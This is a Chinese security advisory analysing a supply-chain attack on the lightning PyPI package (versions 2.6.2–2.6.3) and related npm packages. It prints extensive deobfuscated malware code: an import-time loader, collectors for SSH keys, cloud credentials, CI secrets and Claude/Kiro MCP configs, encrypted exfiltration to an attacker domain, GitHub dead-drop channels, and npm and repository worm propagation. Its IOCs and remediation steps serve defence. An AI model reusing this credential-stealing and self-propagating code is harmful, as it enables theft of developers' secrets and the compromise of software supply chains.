文章总结: 墨菲安全于2026年4月30日监测发现PyTorchLightning框架2.6.2-2.6.3版本在PyPI仓库遭供应链投毒,恶意代码会在导入时窃取环境变量、云凭据、SSH密钥等敏感数据并回传至攻击者服务器。攻击手法包括下载Bun解释器执行混淆JS、使用AES和RSA加密外传数据,并存在GitHub备用传播通道。该事件影响月下载量超千万的AI训练框架,建议用户立即排查环境、移除受影响版本并轮换密钥。 综合评分: 87 文章分类: 供应链安全,恶意软件,漏洞预警,安全运营,数据安全
墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万
原创
安全实验室 安全实验室
墨菲安全
2026年4月30日 23:57 山东
在小说阅读器读本章
去阅读
01.
概述
2026 年 4 月 30 日下午 8 点 50,墨菲安全研发的通用安全AI Agent 墨思监测发现,月下载量超1000万的 AI 训练框架 Lightning 的 PyPI 包遭遇供应链投毒,且截至发现时投毒版本仍未下架。Lightning 是基于 PyTorch 的深度学习训练框架,主要用于自动化模型训练流程,具备较高生态影响面。
本次投毒涉及 lightning 2.6.2 和 2.6.3 版本。攻击者在组件运行时文件中植入恶意代码,用户安装受影响版本并执行 import lightning 后即可触发窃密逻辑。恶意代码会收集开发者环境中的敏感凭据,包括环境变量、包管理器配置、Git/GitHub 凭据、SSH Key、云服务密钥、CI/CD 密钥、容器与集群配置、钱包文件、通信软件数据以及 Claude/Kiro MCP 等 AI 开发工具配置,并将数据回传至攻击者控制的服务器。
该事件属于高影响 Python / AI 生态供应链投毒攻击,攻击目标聚焦开发者主机、模型训练环境和 CI/CD 环境中的高价值凭据。建议已安装或导入受影响版本的用户立即排查环境、移除受影响版本,并轮换相关密钥。
02.
攻击者近期持续针对性投毒,前日SAP旗下组件受影响
4 月 29 日,NPM仓库中的@cap-js/db-service、@cap-js/sqlite 等多个组件也被发现存在同类恶意代码。作为 SAP CAP 框架的数据库服务核心组件,在npm中周下载量数十万次。
触发方式是 package.json 里的 preinstall 脚本和 lightning 侧的 start.py 是同一套逻辑的两种语言实现——相同的 Bun v1.3.13、相同的平台资产命名(bun-linux-x64-baseline/bun-darwin-aarch64等)、相同的 Alpine musl 探测,最终执行同体量的混淆 JS 载荷 execution.js(11,723,748 字节)。
```
setup.mjs SHA256: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js SHA256: eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb
两个案例的时间间隔不到 24 小时,当前攻击者仍在持续用同类手法对其他开源组件投毒。
**03.**
投毒代码分析

以 lightning v2.6.2为例,投毒代码在 lightning/*runtime/router*runtime.js 中:

反混淆后的恶意代码逻辑包括:
1. 导入即执行
文件路径:lightning/\_\_init\_\_.py,当用户 import lightning 时就会静默启动\_runtime/start.py:
import osimport subprocessimport sysimport threadingdef _run_runtime() -> None: runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime") start = os.path.join(runtime_dir, "start.py") if os.path.exists(start): subprocess.Popen( [sys.executable, start], cwd=runtime_dir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, )threading.Thread(target=_run_runtime, daemon=True).start()
2. 下载 Bun 并执行恶意JS
文件路径:lightning/\_runtime/start.py,这一步把 Python 包变成了“恶意加载器”,如果本机没有 Bun,它会先下载解释器,再执行 router\_runtime.js。
BUN_VERSION = "1.3.13"ENTRY_SCRIPT = "router_runtime.js"def main(): local_bun = BUN_INSTALL_DIR / ("bun.exe" if is_win else "bun") system_bun = shutil.which("bun") if local_bun.exists(): bun_exec = str(local_bun) elif system_bun: bun_exec = system_bun else: asset = resolve_asset_name() url = f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip" urllib.request.urlretrieve(url, zip_path) # 解压出 bun 二进制到本地 .bun 目录 subprocess.run([bun_exec, str(SCRIPT_DIR / ENTRY_SCRIPT)], cwd=SCRIPT_DIR)
3. 主控流程:收集结果、建立外传通道、再决定是否横向传播
信息窃取不是单点窃密,而是“收集 -> 外传 -> 再传播”的完整攻击链:
async function main() { await setupEnvironment(); // 俄语环境退出、非 CI 后台化、加锁 const primarySender = await new DomainSenderFactory({ domain: "zero.masscan.cloud", port: 443, path: "v1/telemetry", dry_run: false, }).tryCreate(); const quickResults = await Promise.all([ collectFilesystemSecrets(), collectShellAndEnv(), collectGitHubRunnerSecrets(), ]); const githubSender = await createGitHubSenderFromHiddenToken(); const selfGithubSender = await createGitHubSenderFromStolenPATs(quickResults); const senders = [primarySender, githubSender, selfGithubSender].filter(Boolean); const collectors = [ new AwsSsmCollector(), new AwsSecretsManagerCollector(), new AwsStsCollector(), new AzureKeyVaultCollector(), new GcpSecretManagerCollector(), ]; for (const token of extractGitHubPATs(quickResults)) { if (await isValidGitHubToken(token)) { collectors.push(new GitHubActionsSecretsCollector(token)); } } await queueAndDispatch(quickResults, collectors, senders); for (const runnerToken of extractRunnerTokens(quickResults)) { await new GitHubRepoInfector(runnerToken).execute(); }}
4. 本地与 CI 凭据窃取
它会直接取 gh auth token,还会整包打走 process.env。在 GitHub Actions 里,它不是读普通配置文件,而是试图从 runner 运行环境中把 secrets 挖出来。敏感文件扫描面覆盖开发机、云凭据、Kubernetes、Docker、SSH、AI 工具配置。
async function collectShellAndEnv() { const result = {}; try { const token = execSync("gh auth token", { encoding: "utf-8", stdio: ["pipe", "pipe", "pipe"], }).trim(); if (token) result.token = token; } catch {} result.environment = process.env; return success(result);}async function collectGitHubRunnerSecrets() { if (process.env.GITHUB_ACTIONS !== "true") return failure("Not Actions"); if (process.env.RUNNER_OS !== "Linux") return failure("Not running on Linux runner"); const dump = execSync( `sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' | sort -u`, { input: K4f, encoding: "utf-8" } ); // 从 runner 内存内容中抽取 GitHub Actions secrets return success(parseSecrets(dump));}const HOTSPOTS = [ "**/.env", "~/.aws/credentials", "~/.config/gcloud/application_default_credentials.json", "~/.kube/config", "~/.npmrc", "~/.pypirc", "~/.ssh/id_rsa", "/var/run/secrets/kubernetes.io/serviceaccount/token", "~/.claude.json", "~/.claude/mcp.json", ".kiro/settings/mcp.json",];
5. 加密外传到攻击者域名
恶意代码先 gzip,再 AES-256-GCM,再用攻击者 RSA 公钥包一层。这说明作者明确考虑了被中途抓包和被动取证的问题。
async function createEnvelope(data) { const gz = await gzip(Buffer.from(JSON.stringify(data))); const aesKey = randomBytes(32); const iv = randomBytes(12); const encryptedKey = publicEncrypt( { key: ATTACKER_RSA_PUBLIC_KEY, padding: constants.RSA_PKCS1_OAEP_PADDING, oaepHash: "sha256", }, aesKey ); const cipher = createCipheriv("aes-256-gcm", aesKey, iv); const ciphertext = Buffer.concat([ cipher.update(gz), cipher.final(), cipher.getAuthTag(), ]); return { envelope: Buffer.concat([iv, ciphertext]).toString("base64"), key: encryptedKey.toString("base64"), };}async function sendToDomain(envelope) { await fetch("https://zero.masscan.cloud:443/v1/telemetry", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(envelope), });}
6. GitHub 备用外传:隐藏 token + 新建仓库 + commit 数据
先去 GitHub 提交历史里搜一个隐藏标记,尝试捞出攻击者预埋的 token。成功后,它会新建公开仓库,把窃取结果提交到 results/results-\*.json。某些场景下它还会把新的 token 再次编码进 commit message,形成自举式通道。
async function findHiddenGitHubToken(optionalVictimToken) { const url = "https://api.github.com/search/commits" + "?q=EveryBoiWeBuildIsAWormyBoi&sort=author-date&order=desc&per_page=50"; const results = await fetchJson(url, optionalVictimToken); for (const item of results.items ?? []) { const m = item.commit.message.match( /^EveryBoiWeBuildIsAWormyBoi:([A-Za-z0-9+/]+={0,3})$/ ); if (!m) continue; const token = Buffer.from( Buffer.from(m[1], "base64").toString(), "base64" ).toString(); if (await hasRepoScope(token)) return createOctokit(token); } return false;}async function commitToRepo(envelope) { const content = Buffer.from(JSON.stringify(envelope, null, 2), "utf8").toString("base64"); const message = envelope.token ? `EveryBoiWeBuildIsAWormyBoi:${envelope.token}` : "Add files."; await octokit.request("POST /user/repos", { name: randomDuneName(), private: false, auto_init: true, description: "A Mini Shai-Hulud has Appeared", }); await octokit.rest.repos.createOrUpdateFileContents({ owner, repo, path: `results/results-${Date.now()}-${counter++}.json`, message, content, });}
7. NPM 传播:篡改 tarball,植入`preinstall`
这是标准的供应链投毒逻辑:下载包、加入 router\_runtime.js、写入 setup.mjs、篡改 preinstall、再尝试发布。
它利用的是 GitHub Actions 的 OIDC 能力去换 NPM 发布令牌。
async function updateTarball(tgzPath) { unpackTarball(tgzPath, tmpDir); copyFileSync(Bun.main, `${tmpDir}/package/router_runtime.js`); const pkg = JSON.parse(await readFile(`${tmpDir}/package/package.json`, "utf-8")); pkg.scripts ??= {}; pkg.scripts.preinstall = "node setup.mjs"; pkg.version = bumpPatch(pkg.version); await writeFile(`${tmpDir}/package/setup.mjs`, zT); await writeFile(`${tmpDir}/package/package.json`, JSON.stringify(pkg, null, 2)); return repackTarball(tmpDir, "package-updated.tgz");}async function executeNpmPropagation() { const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env; const { value: oidcToken } = await fetch( `${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`, { headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` } } ).then((r) => r.json()); await downloadPackages(["@placeholder/package"], oidcToken);}
8. GitHub 仓库传播:向仓库里塞`.claude` / `.vscode` 持久化文件
const FILE_UPDATES = { ".vscode/tasks.json": vscodeTasks, ".claude/router_runtime.js": { sourcePath: Bun.main }, ".claude/settings.json": claudeSettings, ".claude/setup.mjs": zT, ".vscode/setup.mjs": zT,};async function infectRepo(ghsToken) { const branches = await fetchEligibleBranches(); await pushChunkedFileUpdates( branches.map((branch) => ({ branchName: branch.name, expectedHeadOid: branch.headOid, files: materializeFiles(FILE_UPDATES), commitHeadline: "chore: update dependencies", })) );}
**04.**
IOC

恶意文件Hash:
3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3 lightning-2.6.2-py3-none-any.whl56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb lightning-2.6.3-py3-none-any.whl5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1 lightning/_runtime/router_runtime.js
“`
信息外传地址
https[:]//zero.masscan[.]cloud:443/v1/telemetry
05.
处置建议
通过安全工具排查在代码项目、制品、内部制品库中是否引入了lightning的2.6.2、2.6.3版本
基于文件哈希判断是否存在恶意的 router_runtime.js 文件
如果受影响则必须轮换凭证包括:
-
GitHub:吊销所有 PAT、检查 Actions secrets 全量、改用短 TTL OIDC token
-
AWS:失活 access key、CloudTrail 查 IMDS 请求时间前后的异常调用
-
Azure / GCP:service principal / service account key 全量重置
-
npm:npm token revoke 名下所有 token、检查近一周 publish 历史
-
SSH 密钥对
部分典型客户
七大产品矩阵
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:墨菲安全 安全实验室 安全实验室《墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒,月下载量超1000万》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论